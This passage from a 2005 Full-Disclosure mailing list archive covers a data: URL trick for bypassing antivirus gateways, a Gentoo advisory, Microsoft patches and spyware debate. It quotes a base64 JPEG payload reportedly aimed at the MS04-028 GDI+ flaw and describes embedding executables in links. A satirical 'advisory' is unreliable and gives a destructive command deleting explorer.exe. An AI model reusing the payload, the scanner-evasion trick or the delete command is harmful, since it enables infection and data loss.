> is not performed and is delivered rendered by the client.
> 
> While Microsoft Internet Explorer does not support the RFC 2397 URL
> scheme; Firefox, Safari,
> Mozilla and Opera do and will render the data and thus successfully
> execute the payload if the necessary
> OS and/or application patches have not been applied.
> 
> ## BEGIN HTML ##
> 
> <html>
> <body>
> <img
> src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBwkJ
> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv/b
> AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIy
> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAAAA
> AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMoGR
> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2Rl
> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbH
> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAAAA
> AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQgU
> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNk
> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8TF
> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD//
> Z">
> </body>
> </html>
> 
> ## END HTML ##
> 
> Solution:
> 
> While AV vendor patches are not yet available, fixes for all currently
> known image vulnerabilities are
> and have been for several months.  If you have not yet applied them,
> you have your own
> negligence to blame.
> 
> Contributions:
> 
> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in
> platform testing.

I believe TrendMicro's OfficeScan (client-server scanner) will catch
it, but I am not sure about their gateway device. What was their
response?

...D


From fd.lists.dmargoli at af0.net  Tue Jan 11 19:09:17 2005
From: fd.lists.dmargoli at af0.net (Dan Margolis)
Date: Tue, 11 Jan 2005 14:09:17 -0500
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
In-Reply-To: <41E41214.4040502@easynix.net>
References: <200501081612.j08GCLrs013728@lists.netsys.com>
	<3dc922c3050108105762eef57f@mail.gmail.com>
	<41E41214.4040502@easynix.net>
Message-ID: <20050111190917.GB2295@specialk>

On Tue, Jan 11, 2005 at 06:51:16PM +0100, devis wrote:
> Buahwuahwuahwuawa ... you have to be gullible to think that M$ will not 
> NOT cash on their own slack coding.  

I'm confused. Are are you saying that "slack coding" by Microsoft is
responsible for spyware/adware? Seems a bit of an odd interpretation.
Here's mine:

- It's very, very difficult to prevent people from voluntarily
  installing spyware on their own systems. There's no way to write a
  heuristic that can distinguish between an application that accesses
  the 'net on a regular basis for spying and one that does so for, say,
  monitoring a buddy list or checking for mail. 

- You can certainly whitelist applications, but this would prevent
  useres from being able to install obscure shareware apps, custom apps,
  etc. 

- Were MS to restrict access to their API in order to prevent spyware
  makers from doing obscure tricks with the registry and whatnot, they'd
  be accused, quite rightly, of anti-competitive tactics. 

Certainly some spyware results from poor restriction of web controls or
something--I don't know the details, as I don't even use Windows--but
I'd bet you the vast majority comes from users installing stuff they
shouldn't--Kazaa, Snood, whatever--or from users clicking "OK" on banner
ads that promise to speed your Internet connection. 

Much of the same goes for e-mail worms: so long as a user has permission
to execute untrusted code and so long as that user has permission to
send code to other people, he is easy prey for e-mail born worms. 

So, here's the question: does most spyware exploit some actual bug or
design flaw? Or does it just use the user's gullibility? I suspect the
latter. 

Flame on. 
--
Dan


From koon at gentoo.org  Tue Jan 11 19:57:17 2005
From: koon at gentoo.org (Thierry Carrez)
Date: Tue, 11 Jan 2005 20:57:17 +0100
Subject: [Full-Disclosure] [ GLSA 200501-22 ] poppassd_pam: Unauthorized
	password changing
Message-ID: <41E42F9D.3070808@gentoo.org>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory                           GLSA 200501-22
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: poppassd_pam: Unauthorized password changing
      Date: January 11, 2005
      Bugs: #75820
        ID: 200501-22

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

poppassd_pam allows anyone to change any user's password without
authenticating the user first.

Background
==========

poppassd_pam is a PAM-enabled server for changing system passwords that
can be used to change POP server passwords.

Affected packages
=================

    -------------------------------------------------------------------
     Package                 /  Vulnerable  /               Unaffected
    -------------------------------------------------------------------
     net-mail/poppassd_ceti       <= 1.0                      >= 1.8.4
     net-mail/poppassd_pam        <= 1.0                   Vulnerable!
    -------------------------------------------------------------------

Description
===========

Gentoo Linux developer Marcus Hanwell discovered that poppassd_pam did
not check that the old password was valid before changing passwords.
Our investigation revealed that poppassd_pam did not call
pam_authenticate before calling pam_chauthtok.

Impact
======

A remote attacker could change the system password of any user,
including root. This leads to a complete compromise of the POP
accounts, and may also lead to a complete root compromise of the
affected server, if it also provides shell access authenticated using
system passwords.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All poppassd_pam users should migrate to the new package called
poppassd_ceti:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=net-mail/poppassd_ceti-1.8.4"

Note: Portage will automatically replace the poppassd_pam package by
the poppassd_ceti package.

References
==========

  [ 1 ] CAN-2005-0002
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0002

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-200501-22.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security at gentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2005 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 256 bytes
Desc: OpenPGP digital signature
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050111/63587f3b/attachment.bin 

From larry at larryseltzer.com  Tue Jan 11 20:04:11 2005
From: larry at larryseltzer.com (Larry Seltzer)
Date: Tue, 11 Jan 2005 15:04:11 -0500
Subject: [Full-Disclosure] FW: New Security Patches from Microsoft
In-Reply-To: <9E97F0997FB84D42B221B9FB203EFA276E9036@dc1ms2.msad.brookshires.net>
Message-ID: <200501112004.j0BK4Drs026341@lists.netsys.com>

>>No IE patch, it would seem.

No, but...

> MS05-001 (Critical)Vulnerability in the Indexing Service Could Allow 
> Remote Code Execution (871250) Vulnerability in HTML Help Could Allow 
> Code Execution (890175) 
> http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx
> 
> MS05-002 (Critical)
> Vulnerability in Cursor and Icon Format Handling Could Allow Remote 
> Code Execution (891711) 
> http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx
> 

Both of these address problems that have been exploited through IE.
These are the ones that have gotten so much recent publicity.



From peak at argo.troja.mff.cuni.cz  Tue Jan 11 20:15:02 2005
From: peak at argo.troja.mff.cuni.cz (Pavel Kankovsky)
Date: Tue, 11 Jan 2005 21:15:02 +0100 (MET)
Subject: [Full-Disclosure] Re: Firespoofing [Firefox 1.0]
In-Reply-To: <00c801c4f76b$36346020$280207d5@netvision.ads>
Message-ID: <20050111205452.5AC2.0@argo.troja.mff.cuni.cz>

On Tue, 11 Jan 2005, mikx wrote:

> The bug is confirmed but currently unfixed (open for more than 3 months). As 
> a partial workaround set dom.disable_window_flip to true in about:config. 

Setting most of dom.disable_window_open_feature.* to true (and making it
impossible to remove browser "decorations" from browser windows) is a
pretty efficient (even if not 100% bullet-proof) way to thwart this kind
of attack. As well as other GUI spoofing attacks.

--Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]
"Resistance is futile. Open your source code and prepare for assimilation."



From Mark.Senior at gov.ab.ca  Tue Jan 11 20:22:45 2005
From: Mark.Senior at gov.ab.ca (Mark Senior)
Date: Tue, 11 Jan 2005 13:22:45 -0700
Subject: [Full-Disclosure] Multi-vendor AV gateway image inspection
	bypassvulnerability
Message-ID: <490D41B02BCAA943BC58CD5D31797B132A68FB@EDM-GOA-EXCH-13.goa.ds.gov.ab.ca>

Trend Micro OfficeScan client (version 6.5, virus definitions from 10
Jan 2005) didn't catch it in my case.

I copied the html section from the original message straight to a text
file and scanned that.  I suppose it's possible some text wrapping
munged the original posting

Cheers
Mark


-----Original Message-----
From: full-disclosure-bounces at lists.netsys.com
[mailto:full-disclosure-bounces at lists.netsys.com] On Behalf Of Danny
Sent: January 11, 2005 12:14
To: Darren Bounds
Cc: bugs at securitytracker.com; vulnwatch at vulnwatch.org;
bugtraq at securityfocus.com; list at securiteam.com;
full-disclosure at lists.netsys.com
Subject: Re: [Full-Disclosure] Multi-vendor AV gateway image inspection
bypassvulnerability

On Mon, 10 Jan 2005 14:08:11 -0500, Darren Bounds
<dbounds at intrusense.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Multi-vendor AV gateway image inspection bypass vulnerability January 
> 10, 2005
> 
> A vulnerability has been discovered which allows a remote attacker to 
> bypass anti-virus (as well other security technologies such as IDS and

> IPS) inspection of HTTP image content.
> 
> By leveraging techniques described in RFC 2397 for base64 encoding 
> image content within the URL scheme. A remote attack may encode a 
> malicious image within the body of an HTML formatted document to 
> circumvent content inspection.
> 
> For example:
> 
> http://www.k-otik.com/exploits/09222004.ms04-28-cmd.c.php
> 
> The source code at the URL above will by default create a JPEG image 
> that will attempt (and fail without tweaking) to exploit the Microsoft

> MS04-028 GDI+ vulnerability.
> The image itself is detected
> by all AV gateway engines tested (Trend, Sophos and McAfee), however, 
> when the same image is base64 encoded using the technique described in

> RFC 2397 (documented below), inspection is not performed and is 
> delivered rendered by the client.
> 
> While Microsoft Internet Explorer does not support the RFC 2397 URL 
> scheme; Firefox, Safari, Mozilla and Opera do and will render the data

> and thus successfully execute the payload if the necessary OS and/or 
> application patches have not been applied.
> 
> ## BEGIN HTML ##
> 
> <html>
> <body>
> <img
> src="data:image/gif;base64,/9j/4AAQSkZJRgABAQEAYABgAAD//
> gAARXhpZgAASUkqAAgAHPD9f0FBQUGWAgAAGgAAABzw
> /X9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU
> FB 
> QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQAAAP/bAEMACAYGBwYFCAcHBw
> kJ 
> CAoMFA0MCwsMGRITDxQdGh8eHRocHCAkLicgIiwjHBwoNyksMDE0NDQfJzk9ODI8LjM0Mv
> /b 
> AEMBCQkJDAsMGA0NGDIhHCEyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
> Iy 
> MjIyMjIyMjIyMjIyMv/AABEIAAMAAwMBIgACEQEDEQH/xAAfAAABBQEBAQEBAQAAAAAAAA
> AA 
> AQIDBAUGBwgJCgv/xAC1EAACAQMDAgQDBQUEBAAAAX0BAgMABBEFEiExQQYTUWEHInEUMo
> GR 
> oQgjQrHBFVLR8CQzYnKCCQoWFxgZGiUmJygpKjQ1Njc4OTpDREVGR0hJSlNUVVZXWFlaY2
> Rl 
> ZmdoaWpzdHV2d3h5eoOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExc
> bH
> yMnK0tPU1dbX2Nna4eLj5OXm5+jp6vHy8/T19vf4+fr/xAAfAQADAQEBAQEBAQEBAAAAAA
> yMnK0tPU1dbX2Nna4eLj5OXm5+AA
> AQIDBAUGBwgJCgv/xAC1EQACAQIEBAMEBwUEBAABAncAAQIDEQQFITEGEkFRB2FxEyIygQ
> gU 
> QpGhscEJIzNS8BVictEKFiQ04SXxFxgZGiYnKCkqNTY3ODk6Q0RFRkdISUpTVFVWV1hZWm
> Nk 
> ZWZnaGlqc3R1dnd4eXqCg4SFhoeIiYqSk5SVlpeYmZqio6Slpqeoqaqys7S1tre4ubrCw8
> TF
> xsfIycrS09TV1tfY2dri4+Tl5ufo6ery8/T19vf4+fr/2gAMAwEAAhEDEQA/APn+iiigD/
> xsfIycrS09TV1tfY2dri4+/
> Z">
> </body>
> </html>
> 
> ## END HTML ##
> 
> Solution:
> 
> While AV vendor patches are not yet available, fixes for all currently

> known image vulnerabilities are and have been for several months.  If 
> you have not yet applied them, you have your own negligence to blame.
> 
> Contributions:
> 
> Thanks to Scott Roeder and Jacinto Rodriquez their assistance in 
> platform testing.

I believe TrendMicro's OfficeScan (client-server scanner) will catch it,
but I am not sure about their gateway device. What was their response?

...D
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. This message contains confidential information and is intended only for the individual named. If you are not the named addressee you should not disseminate, distribute or copy this e-mail.




From toddtowles at brookshires.com  Tue Jan 11 20:35:26 2005
From: toddtowles at brookshires.com (Todd Towles)
Date: Tue, 11 Jan 2005 14:35:26 -0600
Subject: [Full-Disclosure] FW: New Security Patches from Microsoft
Message-ID: <9E97F0997FB84D42B221B9FB203EFA276E90A5@dc1ms2.msad.brookshires.net>

 Agreed, I spoke a bit too fast. Peter Kruse e-mail me directly and
stated the same. Thanks for pointing that out.

> -----Original Message-----
> From: Larry Seltzer [mailto:larry at larryseltzer.com] 
> Sent: Tuesday, January 11, 2005 2:04 PM
> To: Todd Towles; 'Mailing List - Full-Disclosure'
> Subject: RE: [Full-Disclosure] FW: New Security Patches from Microsoft
> 
> >>No IE patch, it would seem.
> 
> No, but...
> 
> > MS05-001 (Critical)Vulnerability in the Indexing Service 
> Could Allow 
> > Remote Code Execution (871250) Vulnerability in HTML Help 
> Could Allow 
> > Code Execution (890175) 
> > http://www.microsoft.com/technet/security/Bulletin/MS05-001.mspx
> > 
> > MS05-002 (Critical)
> > Vulnerability in Cursor and Icon Format Handling Could Allow Remote 
> > Code Execution (891711) 
> > http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx
> > 
> 
> Both of these address problems that have been exploited through IE.
> These are the ones that have gotten so much recent publicity.
> 
> 



From devis at easynix.net  Tue Jan 11 21:03:30 2005
From: devis at easynix.net (devis)
Date: Tue, 11 Jan 2005 22:03:30 +0100
Subject: [Full-Disclosure] Microsoft AntiSpyware: Will it be free and
	Vulnerable
In-Reply-To: <20050111190917.GB2295@specialk>
References: <200501081612.j08GCLrs013728@lists.netsys.com>	<3dc922c3050108105762eef57f@mail.gmail.com>	<41E41214.4040502@easynix.net>
	<20050111190917.GB2295@specialk>
Message-ID: <41E43F22.9030304@easynix.net>

Dan Margolis wrote:

>On Tue, Jan 11, 2005 at 06:51:16PM +0100, devis wrote:
>  
>
>>Buahwuahwuahwuawa ... you have to be gullible to think that M$ will not 
>>NOT cash on their own slack coding.  
>>    
>>
>
>I'm confused. Are are you saying that "slack coding" by Microsoft is
>responsible for spyware/adware? Seems a bit of an odd interpretation.
>Here's mine:
>
>- It's very, very difficult to prevent people from voluntarily
>  installing spyware on their own systems. There's no way to write a
>  heuristic that can distinguish between an application that accesses
>  the 'net on a regular basis for spying and one that does so for, say,
>  monitoring a buddy list or checking for mail. 
>
>- You can certainly whitelist applications, but this would prevent
>  useres from being able to install obscure shareware apps, custom apps,
>  etc. 
>
>- Were MS to restrict access to their API in order to prevent spyware
>  makers from doing obscure tricks with the registry and whatnot, they'd
>  be accused, quite rightly, of anti-competitive tactics. 
>
>Certainly some spyware results from poor restriction of web controls or
>something--I don't know the details, as I don't even use Windows--but
>I'd bet you the vast majority comes from users installing stuff they
>shouldn't--Kazaa, Snood, whatever--or from users clicking "OK" on banner
>ads that promise to speed your Internet connection. 
>
>Much of the same goes for e-mail worms: so long as a user has permission
>to execute untrusted code and so long as that user has permission to
>send code to other people, he is easy prey for e-mail born worms. 
>
>So, here's the question: does most spyware exploit some actual bug or
>design flaw? Or does it just use the user's gullibility? I suspect the
>latter. 
>
>Flame on. 
>--
>Dan
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.netsys.com/full-disclosure-charter.html
>  
>
It is prooved matter that spywares do exploits IE holes ( Iframes bugs, 
Active X etc etc ). Do your work on a few and you will see. Beside, you 
missed the point entirely: if an user, just by clicking, can install 
spyware on his machine, then the OS / browser is to blame, not the 
actual (bad) code (exploiting it) floating around websites.
Once again, you are missing the point completely, if M$ didn't 'slack 
code' their OS, spyware would :
1) not install
2) therefore not exist in the form, numbers and variety we know them

I'll give you a clue:
try to get a 'tool bar' or some 'other added bonus' automagically on 
bsd/unix/linux/solaris using any browser, on any site, clicking randomly.
As you said,
'It's very, very difficult to prevent people from voluntarily installing 
spyware on their own systems.' yes indeed, because MS made it that the 
average joe is an admin therefore has supreme powers out of the box.
Usability costs security. Always has, always will.

No Flames, Just information.



From smenard at nbnet.nb.ca  Tue Jan 11 21:23:40 2005
From: smenard at nbnet.nb.ca (steve menard)
Date: Tue, 11 Jan 2005 17:23:40 -0400
Subject: [Full-Disclosure] Re: I thought Microsoft were releasing new
 security	patches today (11 Jan 2005)?
In-Reply-To: <3dc922c3050111080661091890@mail.gmail.com>
References: <200501111334.j0BDYZ9f008427@lists.netsys.com>	<BAY13-DAV16DA5BA9506C0E8F89C70FFE880@phx.gbl>
	<3dc922c3050111080661091890@mail.gmail.com>
Message-ID: <41E443DC.90902@nbnet.nb.ca>

Matt Ostiguy wrote:

>On Tue, 11 Jan 2005 15:13:45 -0000, Mike Diack <mike_diack at hotmail.com> wrote:
>  
>
>>Where are they?
>>Mike
>>    
>>
>
>My experience has been that the 2nd tuesday of the month patch drop
>occurs late in the day or evening, Eastern Standard Time.
>
>Matt
>  
>
I just got 3 for windows 2000 server
through Auto updates not there last week  ;-0



From smenard at nbnet.nb.ca  Tue Jan 11 21:27:21 2005
From: smenard at nbnet.nb.ca (steve menard)
Date: Tue, 11 Jan 2005 17:27:21 -0400
Subject: [Full-Disclosure] Linux kernel uselib() privilege elevation,
	corrected
In-Reply-To: <Pine.LNX.4.58.0501111557140.6414@redclaw.org.uk>
References: <888c2d720501102356552821df@mail.gmail.com>	<20050111142052.GC968@miggy.org>
	<Pine.LNX.4.58.0501111557140.6414@redclaw.org.uk>
Message-ID: <41E444B9.9050001@nbnet.nb.ca>

Gaz Wilson wrote:

>On Tue, 11 Jan 2005, Athanasius wrote:
>
>  
>
>>On Tue, Jan 11, 2005 at 07:56:32AM +0000, Marcy Darcy wrote:
>>    
>>
>>>I'm running a small server with the 2.6.10 kernel.
>>>
>>>The exploit doesen't seem to be working on this kernel. Is there a way
>>>to make sure the sistem is vulnerable or not?
>>>      
>>>
>>  I couldn't get the exploit to work for 2.6.10 either.  First there's
>>changing a struct in it to user_desc to make it compile, then it just
>>SEGVs all the time here.
>>    
>>
>
>I get it compiled and running on 2.6.8, but it doesn't do anything, other
>than hog all available CPU for about 10-15 minutes followed by:
>
>[-] FAILED: try again (-f switch) and again (Cannot allocate memory)
>Killed
>
>The same thing happens with the -f switch, except the process gets stopped
>(SIGSTOP) instead of killed after the alloted time.
>
>  
>
My RedHat 8.0  system won't give up id 0
although I do have a semi-permanent DOS on my hands right now with
./exploit -n5
;-)    since 4 hours ago   ;-{
I expect I just don't have thew commandline correct
Although it may [doubtful] be Bastille settings
steve


From kju-fd at fqdn.org  Tue Jan 11 21:41:41 2005
From: kju-fd at fqdn.org (Michael Holzt)
Date: Tue, 11 Jan 2005 22:41:41 +0100
Subject: [Full-Disclosure] Using data: URLs for malware injection
Message-ID: <20050111214141.GB20998@fqdn.org>


Using data: URL for malware injection

2005/01/11, Michael Holzt, kju -at- fqdn.org
based on work done by Darren Bounds (see text)



As described by Darren Bounds in an earlier posting [1], RFC2397 allows to
embed data into an HTML formatted document. While Darren only used this for
malicious images, i made some further research which shows that this can
also be used to embed an executable file into the document. As shown by
Darren, such embedded data is not detected by current AV gateways. This
could be abused by websites (and probably HTML email too) for distributing 
malware.

The attack works by using an URL scheme like this:

   <a href="data:application/x-msdos-program;base64,
     [base64 data]">Click me!</a>

I've made an example available which embeds putty.exe. The example is about
500 kByte HTML and is available on http://kju.de/misc/putty.html. Please do
not spread this URL outside of this list because of the traffic. Feel free
to copy the example to your own webspace.

My tests with various windows based webbrowsers had the following results:

  - IE6			clicking on the link does nothing

  - Mozilla 1.5.4	will try to open the "what should i do with that" 
			file dialog and then hangs. needs to get killed.

  - Firefox 1.0		allows saving of the data to harddisk
			(on linux it will also display much rubbish
			in the save dialog)

  - Opera 7.5.4		tells that it will open the file with notepad
			(which sounds ok), but will then EXECUTE IT
			INSTEAD (without further warning).

The behaviour of Opera 7.5.4 seems like a major security bug to me. Can
someone else confirm this behaviour?


References:

[1] Posting by Darren Bounds on 2005/01/10,
    <F873C22A-633A-11D9-97DC-000A95820F5E at intrusense.com> 
    http://lists.netsys.com/pipermail/full-disclosure/2005-January/030724.html


From team_pwn4ge at outgun.com  Tue Jan 11 22:52:04 2005
From: team_pwn4ge at outgun.com (Team Pwnge)
Date: Wed, 12 Jan 2005 06:52:04 +0800
Subject: [Full-Disclosure] MORE CRITICAL FLAWS IN MS WINDOWS EXPLORER
Message-ID: <20050111225204.5DD45416118@ws5-2.us4.outblaze.com>

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
TEAM PWN4GE Security Advisory                                     PWNED
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: HIGH
     Title: EXPLORER: Vulnerability in all versions of Windows Explorer
      Date: January 11, 2005

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

Multiple overflows have been found in Windows Explorer, potentially
allowing a remote user to open Explorer and run files remotely.


Background
==========

Windows Explorer is an advanced browsing tool made by Microsoft. It
is used in daily tasks to open folders, copy files, delete files, rename
files and view files on a system. It is the foundation of the World Wide
Web and used by billions worldwide. It runs on an array of machines.


Affected versions
=================

All versions of Windows' Explorer are vulnerable

Description
===========

Shogun Suzuki discovered that a remote user can connect to any
machine via numerous exploits and use Windows Explorer to view files,
rename files, delete files, change permissions on files stored on a
remote machine that has been pwned.

Impact
======

A remote attacker could install something similar to PCAnywhere
after exploiting Windows and use Windows' Explorer to view, copy
and or open any file on a victims machine.

Workaround
==========

On a command prompt: del C:\WINDOWS\explorer.exe


Concerns?
=========

Security is a primary focus of TEAM PWN4GE and ensuring the
progress of secure Windows machines be our dreams. As security
concerns should be addressed to respective vendors, we feel the
urge to bypass standards and bring our common dreams of a
secure homeland to the Interweb.

License
=======

Copyright 2005 TEAM PWN4GE

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.0
-- 
_______________________________________________
Outgun.com free e-mail @ www.outgun.com 
Check out our Premium services - POP3 downloading, e-mail forwarding, and 25MB mailboxes!

Powered by Outblaze



From security at linux-mandrake.com  Tue Jan 11 23:11:26 2005
From: security at linux-mandrake.com (Mandrake Linux Security Team)
Date: Tue, 11 Jan 2005 16:11:26 -0700
Subject: [Full-Disclosure] MDKSA-2005:005 - Updated nfs-utils packages fix
	64bit vulnerability
Message-ID: <E1CoVAc-0005LS-GV@updates.mandrakesoft.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

 _______________________________________________________________________

                 Mandrakelinux Security Update Advisory
 _______________________________________________________________________

 Package name:           nfs-utils
